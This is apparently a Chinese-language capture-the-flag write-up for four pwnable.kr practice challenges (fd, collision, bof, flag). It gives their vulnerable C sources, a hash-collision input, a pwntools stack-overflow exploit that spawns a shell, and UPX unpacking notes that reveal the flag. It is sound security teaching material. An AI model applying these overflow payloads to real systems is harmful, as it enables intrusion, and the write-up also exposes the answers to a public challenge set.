fd
程序逻辑是这样的, 从fd里读数据,如果数据为LETMEWIN就会输出flag。那可以让fd = 0 (标准输入),让read去read我的输入,然后再输入LETMEWIN
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0; }
|
collision
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res; }
int main(int argc, char* argv[]){ if(argc<2){ printf("usage : %s [passcode]\n", argv[0]); return 0; } if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\n"); return 0; }
if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.\n"); return 0; }
|
代码逻辑是 读总共20个字节的数据,分五次读,一次读4个字节,累加后如果为0x21DD09EC 就会输出flag,得按字节码输入,如果直接输入数字的话,一个数字会占一个字节(ascii),那怎么加都加不到0x21dd09ec的,可以用python和 linux下的 ``来解决键入字节码的问题
exp:
1
| ./col `python -c 'print "\xc9\xce\xc5\x06\xc9\xce\xc5\x06\xc9\xce\xc5\x06\xc9\xce\xc5\x06\xc8\xce\xc5\x06"'`
|
bof
gets 这里存在一个溢出,把 栈上 key的位置的值 覆盖成 0xcafebabe 就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug') elf = context.binary = ELF('./bof') libc = elf.libc
is_debug = 0
if(is_debug): p = process() else: ip = "pwnable.kr" port = 9000 p = remote(ip,port)
# gdb.attach(p) g = lambda x: gdb.attach(x)
# send() sendline() sendafter() sendlineafter() s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y)
# recv() recvline() recvuntil() r = lambda x = None: p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x)
r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])
payload = b'a' * (13 * 4) + p32(0x0CAFEBABE)
sl(payload)
p.interactive()
|
flag
ida打开发现在代码段有非常多数据,猜测是加了壳,用die查了一下壳发现是upx3.08,脱壳后的逻辑是
1 2 3 4 5 6 7 8 9
| int __cdecl main(int argc, const char **argv, const char **envp) { char *dest; // [rsp+8h] [rbp-8h]
puts("I will malloc() and strcpy the flag there. take it.", argv, envp); dest = (char *)malloc(100LL); strcpy(dest, flag); return 0; }
|
有一个strcpy的逻辑,跟过去得到flag
1
| 55 50 58 2E 2E 2E 3F 20 73 6F+aUpxSoundsLikeA db 'UPX...? sounds like a delivery service :)',0
|